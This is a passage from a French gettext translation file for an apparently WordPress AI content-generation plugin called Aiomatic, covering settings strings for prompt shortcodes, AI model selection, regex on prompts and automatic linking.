msgstr "" "Définir la langue du contenu créé. Cela permet de définir la valeur du " "shortcode %%language%%, qui peut être utilisé dans les messages-guides ci-" "dessous. Vous pourrez également utiliser les shortcodes personnalisés " "définis dans la fonction \"Créateur de shortcodes personnalisés\" à partir " "des paramètres de la règle - cela vous permettra de créer des Prompts " "partiellement ou entièrement générées par l'IA qui seront utilisées pour les " "générateurs de contenu." #: res/aiomatic-amazon-list.php:636 res/aiomatic-rules-list.php:581 #: res/aiomatic-youtube-list.php:604 msgid "Content Language:" msgstr "Langue du contenu :" #: res/aiomatic-amazon-list.php:655 res/aiomatic-amazon-list.php:3044 #: res/aiomatic-rules-list.php:600 res/aiomatic-rules-list.php:3255 #: res/aiomatic-youtube-list.php:623 res/aiomatic-youtube-list.php:3025 #, php-format msgid "" "Set the writing style of the created content. This will set the value of the " "%%writing_style%% shortcode, which can be used in prompts below. You will " "also be able to use the custom shortcodes defined in the 'Custom Shortcode " "Creator' feature from the rule settings - this will allow you to create " "partially or fully AI generated prompts which will be used for the content " "generators." msgstr "" "Définit le style d'écriture du contenu créé. Cela définit la valeur du " "shortcode %%writing_style%%, qui peut être utilisé dans les messages-guides " "ci-dessous. Vous pourrez également utiliser les shortcodes personnalisés " "définis dans la fonction \"Créateur de shortcodes personnalisés\" à partir " "des paramètres de la règle - cela vous permettra de créer des Prompts " "partiellement ou entièrement générées par l'IA qui seront utilisées pour les " "générateurs de contenu." #: res/aiomatic-amazon-list.php:659 res/aiomatic-rules-list.php:604 #: res/aiomatic-youtube-list.php:627 msgid "Writing Style:" msgstr "Style d'écriture :" #: res/aiomatic-amazon-list.php:719 res/aiomatic-amazon-list.php:3056 #: res/aiomatic-rules-list.php:664 res/aiomatic-rules-list.php:3267 #: res/aiomatic-youtube-list.php:687 res/aiomatic-youtube-list.php:3037 #, php-format msgid "" "Set the writing tone of the created content. This will set the value of the " "%%writing_tone%% shortcode, which can be used in prompts below. You will " "also be able to use the custom shortcodes defined in the 'Custom Shortcode " "Creator' feature from the rule settings - this will allow you to create " "partially or fully AI generated prompts which will be used for the content " "generators." msgstr "" "Définir le ton d'écriture du contenu créé. Cette fonction définit la valeur " "du shortcode %%writing_tone%%, qui peut être utilisé dans les messages-" "guides ci-dessous. Vous pourrez également utiliser les codes courts " "personnalisés définis dans la fonction \"Créateur de codes courts " "personnalisés\" à partir des paramètres de la règle - cela vous permettra de " "créer des Prompts partiellement ou entièrement générées par l'IA qui seront " "utilisées pour les générateurs de contenu." #: res/aiomatic-amazon-list.php:723 res/aiomatic-rules-list.php:668 #: res/aiomatic-youtube-list.php:691 msgid "Writing Tone:" msgstr "Tonalité de l'écriture :" #: res/aiomatic-amazon-list.php:768 res/aiomatic-amazon-list.php:3065 #: res/aiomatic-rules-list.php:713 res/aiomatic-rules-list.php:3276 #: res/aiomatic-single-list.php:690 res/aiomatic-youtube-list.php:736 #: res/aiomatic-youtube-list.php:3046 msgid "Prompts" msgstr "Prompts" #: res/aiomatic-amazon-list.php:775 #, php-format msgid "" "Prompt to be used for the Post Title. You can use the following shortcodes: " "%%search_keywords%%, %%language%%, %%writing_style%%, %%writing_tone%%, " "%%random_sentence%%, %%random_sentence2%%, %%blog_title%% - Update: nested " "shortcodes also supported (shortcodes generated by rules from other " "plugins). You will also be able to use the custom shortcodes defined in the " "'Custom Shortcode Creator' feature from the rule settings - this will allow " "you to create partially or fully AI generated prompts which will be used for " "the content generators. You will also be able to use the custom shortcodes " "defined in the 'Custom Shortcode Creator' feature from the rule settings - " "this will allow you to create partially or fully AI generated prompts which " "will be used for the content generators." msgstr "" "Prompt à utiliser pour le titre de l'article. Vous pouvez utiliser les " "shortcodes suivants : %%search_keywords%%, %%language%%, %%writing_style%%, " "%%writing_tone%%, %%random_sentence%%, %%random_sentence2%%, %%blog_title%% " "- Mise à jour : les shortcodes imbriqués sont également pris en charge " "(shortcodes générés par des règles provenant d'autres plugins). Vous pourrez " "également utiliser les shortcodes personnalisés définis dans la " "fonctionnalité \"Créateur de shortcodes personnalisés\" à partir des " "paramètres de la règle - cela vous permettra de créer des Prompts " "partiellement ou entièrement générées par l'IA qui seront utilisées pour les " "générateurs de contenu. Vous pourrez également utiliser les shortcodes " "personnalisés définis dans la fonction \"Custom Shortcode Creator\" à partir " "des paramètres de la règle - cela vous permettra de créer des Prompts " "partiellement ou entièrement générées par l'IA qui seront utilisées pour les " "générateurs de contenu." #: res/aiomatic-amazon-list.php:779 res/aiomatic-rules-list.php:724 #: res/aiomatic-youtube-list.php:747 msgid "Title Prompt:" msgstr "Titre du Prompt:" #: res/aiomatic-amazon-list.php:790 res/aiomatic-amazon-list.php:3082 #: res/aiomatic-rules-list.php:735 res/aiomatic-rules-list.php:3293 #: res/aiomatic-youtube-list.php:758 res/aiomatic-youtube-list.php:3063 msgid "Select the AI Model to be used for the title generator." msgstr "Sélectionnez le modèle d'IA à utiliser pour le générateur de titres." #: res/aiomatic-amazon-list.php:794 res/aiomatic-rules-list.php:739 #: res/aiomatic-youtube-list.php:762 msgid "AI Model For Title Generator:" msgstr "Modèle d'IA pour le générateur de titre :" #: res/aiomatic-amazon-list.php:813 #, php-format msgid "" "Prompt to be used for the intro of the article. You can use the following " "shortcodes: %%search_keywords%%, %%all_product_titles%%, %%language%%, " "%%writing_style%%, %%writing_tone%%, %%sections_count%%, " "%%random_sentence%%, %%random_sentence2%%, %%blog_title%% - Update: nested " "shortcodes also supported (shortcodes generated by rules from other " "plugins). You will also be able to use the custom shortcodes defined in the " "'Custom Shortcode Creator' feature from the rule settings - this will allow " "you to create partially or fully AI generated prompts which will be used for " "the content generators." msgstr "" "Prompt à utiliser pour l'introduction de l'article. Vous pouvez utiliser les " "shortcodes suivants : %%search_keywords%%, %%all_product_titles%%, " "%%language%%, %%writing_style%%, %%writing_tone%%, %%sections_count%%, " "%%random_sentence%%, %%random_sentence2%%, %%blog_title%% - Mise à jour : " "les shortcodes imbriqués sont également pris en charge (shortcodes générés " "par des règles d'autres plugins). Vous pourrez également utiliser les " "shortcodes personnalisés définis dans la fonctionnalité \"Créateur de " "shortcodes personnalisés\" à partir des paramètres de la règle - cela vous " "permettra de créer des Prompts partiellement ou entièrement générées par " "l'IA qui seront utilisées pour les générateurs de contenu." #: res/aiomatic-amazon-list.php:817 res/aiomatic-rules-list.php:762 #: res/aiomatic-youtube-list.php:785 msgid "Article Intro Prompt:" msgstr "Prompt d'introduction de l'article :" #: res/aiomatic-amazon-list.php:828 res/aiomatic-amazon-list.php:3116 #: res/aiomatic-rules-list.php:773 res/aiomatic-rules-list.php:3327 #: res/aiomatic-youtube-list.php:796 res/aiomatic-youtube-list.php:3097 msgid "Select the AI Model to be used for the intro generator." msgstr "Sélectionnez le modèle d'IA à utiliser pour le générateur d'intro." #: res/aiomatic-amazon-list.php:832 res/aiomatic-rules-list.php:777 #: res/aiomatic-youtube-list.php:800 msgid "AI Model For Intro Generator:" msgstr "Modèle d'IA pour générateur d'Intro :" #: res/aiomatic-amazon-list.php:851 #, php-format msgid "" "Prompt to be used for the Content of the article, which will be applied to " "each section heading generated by the plugin (or entered manually) or to the " "entire content (depending how you select using the 'Use the Above Content " "Prompt To Create The Entire Article' checkbox). You can use the following " "shortcodes: %%all_product_titles%%, %%product_description%%, " "%%product_author%%, %%product_brand%%, %%product_isbn%%, %%product_upc%%, " "%%offer_url%%, %%offer_price%%, %%product_list_price%%, %%offer_img%%, " "%%price_numeric%%, %%price_currency%%, %%review_link%%, %%product_asin%%, " "%%cart_url%%, %%list_price_numeric%%, %%product_imgs%%, " "%%product_imgs_html%%, %%price_with_discount_fixed%%, " "%%first_hand_experience_prompt%%, %%language%%, %%writing_style%%, " "%%writing_tone%%, %%sections%%, %%current_section%%, " "%%paragraphs_per_section%%, %%random_sentence%%, %%random_sentence2%%, " "%%blog_title%% - Update: nested shortcodes also supported (shortcodes " "generated by rules from other plugins). You will also be able to use the " "custom shortcodes defined in the 'Custom Shortcode Creator' feature from the " "rule settings - this will allow you to create partially or fully AI " "generated prompts which will be used for the content generators." msgstr "" "Prompt à utiliser pour le contenu de l'article, qui sera appliquée à chaque " "titre de section généré par le plugin (ou saisi manuellement) ou à " "l'ensemble du contenu (en fonction de ce que vous aurez choisi en cochant la " "case \"Utiliser le Prompt de contenu ci-dessus pour créer l'ensemble de " "l'article\"). Vous pouvez utiliser les shortcodes suivants : " "%%all_product_titles%%, %%product_description%%, %%product_author%%, " "%%product_brand%%, %%product_isbn%%, %%product_upc%%, %%offer_url%%, " "%%offer_price%%, %%produit_prix_liste%%, %%offre_img%%, %%prix_numérique%%, " "%%prix_devise%%, %%review_link%%, %%produit_asin%%, %%cart_url%%, " "%%prix_liste_numérique%%, %%product_imgs%%, %%product_imgs_html%%, " "%%price_with_discount_fixed%%, %%first_hand_experience_prompt%%, " "%%language%%, %%writing_style%%, %%writing_tone%%, %%sections%%, " "%%current_section%%, %%paragraphs_per_section%%, %%random_sentence%%, " "%%random_sentence2%%, %%blog_title%% - Mise à jour : les shortcodes " "imbriqués sont également pris en charge (shortcodes générés par des règles " "provenant d'autres plugins). Vous pourrez également utiliser les shortcodes " "personnalisés définis dans la fonctionnalité \"Créateur de shortcodes " "personnalisés\" à partir des paramètres de la règle - cela vous permettra de " "créer des Prompts partiellement ou entièrement générées par l'IA qui seront " "utilisées pour les générateurs de contenu." #: res/aiomatic-amazon-list.php:855 res/aiomatic-rules-list.php:838 #: res/aiomatic-youtube-list.php:861 msgid "Content Prompt:" msgstr "Contenu du Prompt :" #: res/aiomatic-amazon-list.php:866 res/aiomatic-amazon-list.php:3150 #: res/aiomatic-rules-list.php:849 res/aiomatic-rules-list.php:3395 #: res/aiomatic-youtube-list.php:872 res/aiomatic-youtube-list.php:3165 msgid "Select the AI Model to be used for the content generator." msgstr "Sélectionnez le modèle d'IA à utiliser pour le générateur de contenu." #: res/aiomatic-amazon-list.php:870 res/aiomatic-rules-list.php:853 #: res/aiomatic-youtube-list.php:876 msgid "AI Model For Content Generator:" msgstr "Modèle d'IA pour le générateur de contenu :" #: res/aiomatic-amazon-list.php:889 #, php-format msgid "" "Prompt to be used for the Q&A of the article. You can use the following " "shortcodes: %%search_keywords%%, %%all_product_titles%%, %%language%%, " "%%writing_style%%, %%writing_tone%%, %%sections_count%%, " "%%random_sentence%%, %%random_sentence2%%, %%blog_title%% - Update: nested " "shortcodes also supported (shortcodes generated by rules from other " "plugins). You will also be able to use the custom shortcodes defined in the " "'Custom Shortcode Creator' feature from the rule settings - this will allow " "you to create partially or fully AI generated prompts which will be used for " "the content generators." msgstr "" "Prompt à utiliser pour les questions et réponses de l'article. Vous pouvez " "utiliser les shortcodes suivants : %%search_keywords%%, " "%%all_product_titles%%, %%language%%, %%writing_style%%, %%writing_tone%%, " "%%sections_count%%, %%random_sentence%%, %%random_sentence2%%, " "%%blog_title%% - Mise à jour : les shortcodes imbriqués sont également pris " "en charge (shortcodes générés par des règles d'autres plugins). Vous pourrez " "également utiliser les shortcodes personnalisés définis dans la " "fonctionnalité \"Créateur de shortcodes personnalisés\" à partir des " "paramètres de la règle - cela vous permettra de créer des Prompts " "partiellement ou entièrement générées par l'IA qui seront utilisées pour les " "générateurs de contenu." #: res/aiomatic-amazon-list.php:893 res/aiomatic-rules-list.php:891 #: res/aiomatic-youtube-list.php:914 msgid "Article Q&A Prompt:" msgstr "Prompt Q&R (questions et réponses) de l'article :" #: res/aiomatic-amazon-list.php:904 res/aiomatic-amazon-list.php:3184 #: res/aiomatic-rules-list.php:902 res/aiomatic-rules-list.php:3447 #: res/aiomatic-youtube-list.php:925 res/aiomatic-youtube-list.php:3217 msgid "Select the AI Model to be used for the Q&A generator." msgstr "Sélectionnez le modèle IA à utiliser pour le Q&R (Question Réponse)." #: res/aiomatic-amazon-list.php:908 res/aiomatic-rules-list.php:906 #: res/aiomatic-youtube-list.php:929 msgid "AI Model For Q&A Generator:" msgstr "Modèle d'IA pour le Q&R (questions et réponses) :" #: res/aiomatic-amazon-list.php:927 #, php-format msgid "" "Prompt to be used for the outro of the article. You can use the following " "shortcodes: %%search_keywords%%, %%all_product_titles%%, %%language%%, " "%%writing_style%%, %%writing_tone%%, %%sections_count%%, " "%%random_sentence%%, %%random_sentence2%%, %%blog_title%% - Update: nested " "shortcodes also supported (shortcodes generated by rules from other " "plugins). You will also be able to use the custom shortcodes defined in the " "'Custom Shortcode Creator' feature from the rule settings - this will allow " "you to create partially or fully AI generated prompts which will be used for " "the content generators." msgstr "" "Prompt à utiliser pour la fin de l'article. Vous pouvez utiliser les " "shortcodes suivants : %%search_keywords%%, %%all_product_titles%%, " "%%language%%, %%writing_style%%, %%writing_tone%%, %%sections_count%%, " "%%random_sentence%%, %%random_sentence2%%, %%blog_title%% - Mise à jour : " "les shortcodes imbriqués sont également pris en charge (shortcodes générés " "par des règles d'autres plugins). Vous pourrez également utiliser les " "shortcodes personnalisés définis dans la fonctionnalité \"Créateur de " "shortcodes personnalisés\" à partir des paramètres de la règle - cela vous " "permettra de créer des Prompts partiellement ou entièrement générées par " "l'IA qui seront utilisées pour les générateurs de contenu." #: res/aiomatic-amazon-list.php:931 res/aiomatic-rules-list.php:929 #: res/aiomatic-youtube-list.php:952 msgid "Article Outro Prompt:" msgstr "Prompt de Conclusion de l'article :" #: res/aiomatic-amazon-list.php:942 res/aiomatic-amazon-list.php:3218 #: res/aiomatic-rules-list.php:940 res/aiomatic-rules-list.php:3481 #: res/aiomatic-youtube-list.php:963 res/aiomatic-youtube-list.php:3251 msgid "Select the AI Model to be used for the outro generator." msgstr "Sélectionnez le modèle IA à utiliser pour le générateur de conclusion." #: res/aiomatic-amazon-list.php:946 res/aiomatic-rules-list.php:944 #: res/aiomatic-youtube-list.php:967 msgid "AI Model For Outro Generator:" msgstr "Modèle d'IA pour générateur de la conclusion :" #: res/aiomatic-amazon-list.php:965 #, php-format msgid "" "Prompt to be used for the excerpt of the article. You can use the following " "shortcodes: %%search_keywords%%, %%all_product_titles%%, %%language%%, " "%%writing_style%%, %%writing_tone%%, %%sections%%, %%random_sentence%%, " "%%random_sentence2%%, %%blog_title%% - Update: nested shortcodes also " "supported (shortcodes generated by rules from other plugins). You will also " "be able to use the custom shortcodes defined in the 'Custom Shortcode " "Creator' feature from the rule settings - this will allow you to create " "partially or fully AI generated prompts which will be used for the content " "generators." msgstr "" "Prompt à utiliser pour l'extrait de l'article. Vous pouvez utiliser les " "shortcodes suivants : %%search_keywords%%, %%all_product_titles%%, " "%%language%%, %%writing_style%%, %%writing_tone%%, %%sections%%, " "%%random_sentence%%, %%random_sentence2%%, %%blog_title%% - Mise à jour : " "les shortcodes imbriqués sont également pris en charge (shortcodes générés " "par des règles provenant d'autres plugins). Vous pourrez également utiliser " "les shortcodes personnalisés définis dans la fonctionnalité \"Créateur de " "shortcodes personnalisés\" à partir des paramètres de la règle - cela vous " "permettra de créer des Prompts partiellement ou entièrement générées par " "l'IA qui seront utilisées pour les générateurs de contenu." #: res/aiomatic-amazon-list.php:969 res/aiomatic-rules-list.php:967 #: res/aiomatic-youtube-list.php:990 msgid "Excerpt Prompt:" msgstr "Prompt d'Extrait :" #: res/aiomatic-amazon-list.php:980 res/aiomatic-amazon-list.php:3252 #: res/aiomatic-rules-list.php:978 res/aiomatic-rules-list.php:3515 #: res/aiomatic-youtube-list.php:1001 res/aiomatic-youtube-list.php:3285 msgid "Select the AI Model to be used for the excerpt generator." msgstr "Sélectionnez le modèle d'IA à utiliser pour le générateur d'extraits." #: res/aiomatic-amazon-list.php:984 res/aiomatic-rules-list.php:982 #: res/aiomatic-youtube-list.php:1005 msgid "AI Model For Excerpt Generator:" msgstr "Modèle d'IA pour le générateur d'extraits :" #: res/aiomatic-amazon-list.php:999 res/aiomatic-amazon-list.php:3270 #: res/aiomatic-rules-list.php:997 res/aiomatic-rules-list.php:3533 #: res/aiomatic-youtube-list.php:1020 res/aiomatic-youtube-list.php:3303 msgid "Advanced Prompting Options" msgstr "Options de Prompts avancées" #: res/aiomatic-amazon-list.php:1006 res/aiomatic-amazon-list.php:3274 #: res/aiomatic-rules-list.php:1004 res/aiomatic-rules-list.php:3537 #: res/aiomatic-youtube-list.php:1027 res/aiomatic-youtube-list.php:3307 msgid "" "Run regex on prompts. To disable this feature, leave this field blank. No " "Regex separators are required here. You can add multiple Regex expressions, " "each on a different line." msgstr "" "Exécuter Regex sur les Prompts. Pour désactiver cette fonctionnalité, " "laissez ce champ vide. Aucun séparateur Regex n’est requis ici. Vous pouvez " "ajouter plusieurs expressions Regex, chacune sur une ligne différente." #: res/aiomatic-amazon-list.php:1010 res/aiomatic-rules-list.php:1008 #: res/aiomatic-youtube-list.php:1031 msgid "Run Regex On Prompts:" msgstr "Exécuter Regex sur les Prompts :" #: res/aiomatic-amazon-list.php:1022 res/aiomatic-amazon-list.php:1710 #: res/aiomatic-amazon-list.php:3962 res/aiomatic-rules-list.php:1020 #: res/aiomatic-rules-list.php:1947 res/aiomatic-rules-list.php:4416 #: res/aiomatic-youtube-list.php:1043 res/aiomatic-youtube-list.php:1731 #: res/aiomatic-youtube-list.php:3995 msgid "" "Replace the above regex matches with this regex expression. If you want to " "strip matched content, leave this field blank. No Regex separators are " "required here. You can add multiple replacement expressions, each on a " "different line." msgstr "" "Remplacer les correspondances ci-dessus par l'expression suivante. Si vous " "souhaitez supprimer le contenu correspondant, laissez ce champ vide. Aucun " "séparateur Regex n'est requis ici. Vous pouvez ajouter plusieurs expressions " "de remplacement, chacune sur une ligne différente." #: res/aiomatic-amazon-list.php:1026 res/aiomatic-rules-list.php:1024 #: res/aiomatic-youtube-list.php:1047 msgid "Replace Matches From Regex (Prompts):" msgstr "Remplacer les correspondances à partir de Regex (Prompts) :" #: res/aiomatic-amazon-list.php:1038 res/aiomatic-amazon-list.php:3298 #: res/aiomatic-rules-list.php:1036 res/aiomatic-rules-list.php:3561 #: res/aiomatic-youtube-list.php:1059 res/aiomatic-youtube-list.php:3331 msgid "" "Select on which prompts do you want to run the above Regex. Possible values " "are (or any of their combinations): title, intro, sections, content, outro, " "excerpt" msgstr "" "Sélectionnez les Prompts sur lesquelles vous souhaitez exécuter la Regex ci-" "dessus. Les valeurs possibles sont (ou n'importe laquelle de leurs " "combinaisons) : title, intro, sections, content, conclusion, excerpt" #: res/aiomatic-amazon-list.php:1042 res/aiomatic-rules-list.php:1040 #: res/aiomatic-youtube-list.php:1063 msgid "Run Above Regex On Prompts:" msgstr "Exécuter au-dessus de Regex sur les Prompts :" #: res/aiomatic-amazon-list.php:1059 res/aiomatic-amazon-list.php:3317 #: res/aiomatic-rules-list.php:1300 res/aiomatic-rules-list.php:3783 #: res/aiomatic-youtube-list.php:1080 res/aiomatic-youtube-list.php:3350 msgid "Global Prompt Options" msgstr "Options de Prompt globale" #: res/aiomatic-amazon-list.php:1066 res/aiomatic-amazon-list.php:3321 #: res/aiomatic-rules-list.php:1307 res/aiomatic-rules-list.php:3787 #: res/aiomatic-youtube-list.php:1087 res/aiomatic-youtube-list.php:3354 #, php-format msgid "" "This will be prepended to each prompt sent by the plugin to the AI writer. " "You can use the following shortcodes: %%topic%%, %%language%%, " "%%writing_style%%, %%writing_tone%%, %%title%%, %%random_sentence%%, " "%%random_sentence2%%, %%post_original_title%%, %%blog_title%% - Update: " "nested shortcodes also supported (shortcodes generated by rules from other " "plugins). You will also be able to use the custom shortcodes defined in the " "'Custom Shortcode Creator' feature from the rule settings - this will allow " "you to create partially or fully AI generated prompts which will be used for " "the content generators. You will also be able to use the custom shortcodes " "defined in the 'Custom Shortcode Creator' feature from the rule settings - " "this will allow you to create partially or fully AI generated prompts which " "will be used for the content generators." msgstr "" "Il sera ajouté à chaque message envoyé par le plugin à l'auteur de l'IA. " "Vous pouvez utiliser les shortcodes suivants : %%topic%%, %%language%%, " "%%writing_style%%, %%writing_tone%%, %%title%%, %%random_sentence%%, " "%%random_sentence2%%, %%post_original_title%%, %%blog_title%% - Mise à " "jour : les shortcodes imbriqués sont également pris en charge (shortcodes " "générés par des règles provenant d'autres plugins). Vous pourrez également " "utiliser les shortcodes personnalisés définis dans la fonctionnalité " "\"Créateur de shortcodes personnalisés\" à partir des paramètres de la règle " "- cela vous permettra de créer des Prompts partiellement ou entièrement " "générées par l'IA qui seront utilisées pour les générateurs de contenu. Vous " "pourrez également utiliser les shortcodes personnalisés définis dans la " "fonction \"Custom Shortcode Creator\" à partir des paramètres de la règle - " "cela vous permettra de créer des Prompts partiellement ou entièrement " "générées par l'IA qui seront utilisées pour les générateurs de contenu." #: res/aiomatic-amazon-list.php:1070 res/aiomatic-rules-list.php:1311 #: res/aiomatic-youtube-list.php:1091 msgid "Prepend Text To All Textual AI Prompts:" msgstr "Prédire le texte à toutes les Prompts textuelles de l'IA :" #: res/aiomatic-amazon-list.php:1081 res/aiomatic-amazon-list.php:3334 #: res/aiomatic-rules-list.php:1322 res/aiomatic-rules-list.php:3800 #: res/aiomatic-youtube-list.php:1102 res/aiomatic-youtube-list.php:3367 #, php-format msgid "" "This will be appended to each prompt sent by the plugin to the AI writer. " "You can use the following shortcodes: %%topic%%, %%language%%, " "%%writing_style%%, %%writing_tone%%, %%title%%, %%random_sentence%%, " "%%random_sentence2%%, %%post_original_title%%, %%blog_title%% - Update: " "nested shortcodes also supported (shortcodes generated by rules from other " "plugins). You will also be able to use the custom shortcodes defined in the " "'Custom Shortcode Creator' feature from the rule settings - this will allow " "you to create partially or fully AI generated prompts which will be used for " "the content generators. You will also be able to use the custom shortcodes " "defined in the 'Custom Shortcode Creator' feature from the rule settings - " "this will allow you to create partially or fully AI generated prompts which " "will be used for the content generators." msgstr "" "Il sera ajouté à chaque message envoyé par le plugin à l'auteur de l'IA. " "Vous pouvez utiliser les shortcodes suivants : %%topic%%, %%language%%, " "%%writing_style%%, %%writing_tone%%, %%title%%, %%random_sentence%%, " "%%random_sentence2%%, %%post_original_title%%, %%blog_title%% - Mise à " "jour : les shortcodes imbriqués sont également pris en charge (shortcodes " "générés par des règles provenant d'autres plugins). Vous pourrez également " "utiliser les shortcodes personnalisés définis dans la fonctionnalité " "\"Créateur de shortcodes personnalisés\" à partir des paramètres de la règle " "- cela vous permettra de créer des Prompts partiellement ou entièrement " "générées par l'IA qui seront utilisées pour les générateurs de contenu. Vous " "pourrez également utiliser les shortcodes personnalisés définis dans la " "fonction \"Custom Shortcode Creator\" à partir des paramètres de la règle - " "cela vous permettra de créer des Prompts partiellement ou entièrement " "générées par l'IA qui seront utilisées pour les générateurs de contenu." #: res/aiomatic-amazon-list.php:1085 res/aiomatic-rules-list.php:1326 #: res/aiomatic-youtube-list.php:1106 msgid "Append Text To All Textual AI Prompts:" msgstr "Ajouter du texte à toutes les Prompts textuelles de l'IA :" #: res/aiomatic-amazon-list.php:1092 res/aiomatic-amazon-list.php:3344 #: res/aiomatic-rules-list.php:1333 res/aiomatic-rules-list.php:3810 #: res/aiomatic-youtube-list.php:1113 res/aiomatic-youtube-list.php:3377 msgid "Automatic Linking Options" msgstr "Options de liens automatiques (Linking)" #: res/aiomatic-amazon-list.php:1099 res/aiomatic-amazon-list.php:3347 #: res/aiomatic-rules-list.php:1340 res/aiomatic-rules-list.php:3813 #: res/aiomatic-spinner-list.php:1252 res/aiomatic-youtube-list.php:1120 #: res/aiomatic-youtube-list.php:3380 msgid "Select the linking method to use in posts." msgstr "" "Sélectionnez la méthode d'insertion des liens (linking) à utiliser dans les " "messages." #: res/aiomatic-amazon-list.php:1103 res/aiomatic-rules-list.php:1344 #: res/aiomatic-spinner-list.php:1256 res/aiomatic-youtube-list.php:1124 msgid "Automatic Linking Type:" msgstr "Type de liaison automatique (linking) :" #: res/aiomatic-amazon-list.php:1107 res/aiomatic-amazon-list.php:1175 #: res/aiomatic-amazon-list.php:1302 res/aiomatic-amazon-list.php:1486 #: res/aiomatic-amazon-list.php:3358 res/aiomatic-amazon-list.php:3426 #: res/aiomatic-amazon-list.php:3571 res/aiomatic-amazon-list.php:3737 #: res/aiomatic-main.php:6 res/aiomatic-main.php:4200 #: res/aiomatic-main.php:4711 res/aiomatic-main.php:4997 #: res/aiomatic-rules-list.php:1348 res/aiomatic-rules-list.php:1416 #: res/aiomatic-rules-list.php:1543 res/aiomatic-rules-list.php:3824 #: res/aiomatic-rules-list.php:3892 res/aiomatic-rules-list.php:4037 #: res/aiomatic-spinner-list.php:656 res/aiomatic-spinner-list.php:914 #: res/aiomatic-spinner-list.php:1033 res/aiomatic-spinner-list.php:1222 #: res/aiomatic-spinner-list.php:1330 res/aiomatic-spinner-list.php:1439 #: res/aiomatic-spinner-list.php:1547 res/aiomatic-spinner-list.php:1717 #: res/aiomatic-spinner-list.php:2246 res/aiomatic-spinner-list.php:2280 #: res/aiomatic-youtube-list.php:1128 res/aiomatic-youtube-list.php:1196 #: res/aiomatic-youtube-list.php:1323 res/aiomatic-youtube-list.php:1507 #: res/aiomatic-youtube-list.php:3391 res/aiomatic-youtube-list.php:3459 #: res/aiomatic-youtube-list.php:3604 res/aiomatic-youtube-list.php:3770 msgid "Disabled" msgstr "Désactivé" #: res/aiomatic-amazon-list.php:1108 res/aiomatic-amazon-list.php:3363 #: res/aiomatic-rules-list.php:1349 res/aiomatic-rules-list.php:3829 #: res/aiomatic-spinner-list.php:1264 res/aiomatic-youtube-list.php:1129 #: res/aiomatic-youtube-list.php:3396 msgid "Internal Links" msgstr "Liens internes" #: res/aiomatic-amazon-list.php:1109 res/aiomatic-amazon-list.php:3368 #: res/aiomatic-rules-list.php:1350 res/aiomatic-rules-list.php:3834 #: res/aiomatic-spinner-list.php:1269 res/aiomatic-youtube-list.php:1130 #: res/aiomatic-youtube-list.php:3401 msgid "Manual Links" msgstr "Liens manuelle" #: res/aiomatic-amazon-list.php:1110 res/aiomatic-amazon-list.php:3373 #: res/aiomatic-rules-list.php:1351 res/aiomatic-rules-list.php:3839 #: res/aiomatic-spinner-list.php:1274 res/aiomatic-youtube-list.php:1131 #: res/aiomatic-youtube-list.php:3406 msgid "Mixed Links" msgstr "Liens mixtes Internes & Externes" #: res/aiomatic-amazon-list.php:1119 res/aiomatic-amazon-list.php:3380 #: res/aiomatic-rules-list.php:1360 res/aiomatic-rules-list.php:3846 #: res/aiomatic-youtube-list.php:1140 res/aiomatic-youtube-list.php:3413 msgid "" "Set the maximum number of automatic links to add to created posts. You can " "also define custom ranges, like: 3-5. Please note that this feature will " "work best if you already have a considerable number of posts published on " "your site, which will be used for internal linking." msgstr "" "Définissez le nombre maximum de liens automatiques à ajouter aux articles " "créés. Vous pouvez également définir des plages personnalisées, comme : 3-5. " "Veuillez noter que cette fonctionnalité fonctionnera mieux si vous avez déjà " "un nombre considérable d'articles publiés sur votre site, qui seront " "utilisés pour les liens internes." #: res/aiomatic-amazon-list.php:1123 res/aiomatic-rules-list.php:1364 #: res/aiomatic-spinner-list.php:1241 res/aiomatic-youtube-list.php:1144 msgid "Maximum Number Of Automatic Links To Add To The Post Content:" msgstr "" "Nombre maximum de liens à ajouter automatiquement au contenu de l'article :" #: res/aiomatic-amazon-list.php:1134 res/aiomatic-amazon-list.php:3391 #: res/aiomatic-rules-list.php:1375 res/aiomatic-rules-list.php:3857 #: res/aiomatic-spinner-list.php:1283 res/aiomatic-youtube-list.php:1155 #: res/aiomatic-youtube-list.php:3424 msgid "Enter a manual list of links, where the plugin will create links." msgstr "Entrez une liste manuelle de liens, où le plugin créera des liens." #: res/aiomatic-amazon-list.php:1138 res/aiomatic-rules-list.php:1379 #: res/aiomatic-spinner-list.php:1287 res/aiomatic-youtube-list.php:1159 msgid "Manual List Of URLs (One Per Line):" msgstr "Liste d'URL à ajouter manuellement (une par ligne) :" #: res/aiomatic-amazon-list.php:1149 res/aiomatic-amazon-list.php:3403 #: res/aiomatic-rules-list.php:1390 res/aiomatic-rules-list.php:3869 #: res/aiomatic-spinner-list.php:1299 res/aiomatic-youtube-list.php:1170 #: res/aiomatic-youtube-list.php:3436 msgid "" "Set the post types where to create automatic links in posts. You can also " "add a comma separated list of multiple post types." msgstr "" "Définissez les types d'articles pour lesquels des liens automatiques doivent " "être créés dans les articles. Vous pouvez également ajouter une liste de " "plusieurs types d'articles séparés par des virgules." #: res/aiomatic-amazon-list.php:1153 res/aiomatic-rules-list.php:1394 #: res/aiomatic-youtube-list.php:1174 msgid "Post Types Where To Generate Automatic Links:" msgstr "Types de messages où générer des liens automatiques :" #: res/aiomatic-amazon-list.php:1160 res/aiomatic-amazon-list.php:3411 #: res/aiomatic-rules-list.php:1401 res/aiomatic-rules-list.php:3877 #: res/aiomatic-youtube-list.php:1181 res/aiomatic-youtube-list.php:3444 msgid "Post Category Options" msgstr "Options de la catégorie de l'article" #: res/aiomatic-amazon-list.php:1167 res/aiomatic-rules-list.php:1408 #: res/aiomatic-youtube-list.php:1188 msgid "" "Do you want to automatically add post categories from the generated items?" msgstr "" "Souhaitez-vous ajouter automatiquement des catégories d'articles à partir " "des articles générés ?" #: res/aiomatic-amazon-list.php:1171 res/aiomatic-rules-list.php:1412 #: res/aiomatic-youtube-list.php:1192 msgid "Auto Add Categories:" msgstr "Ajouter automatiquement des catégories :" #: res/aiomatic-amazon-list.php:1176 res/aiomatic-amazon-list.php:1303 #: res/aiomatic-amazon-list.php:3431 res/aiomatic-amazon-list.php:3576 #: res/aiomatic-rules-list.php:1417 res/aiomatic-rules-list.php:1544 #: res/aiomatic-rules-list.php:3897 res/aiomatic-rules-list.php:4042 #: res/aiomatic-youtube-list.php:1197 res/aiomatic-youtube-list.php:1324 #: res/aiomatic-youtube-list.php:3464 res/aiomatic-youtube-list.php:3609 msgid "AI Generated" msgstr "Généré par l'IA" #: res/aiomatic-amazon-list.php:1177 res/aiomatic-amazon-list.php:1304 #: 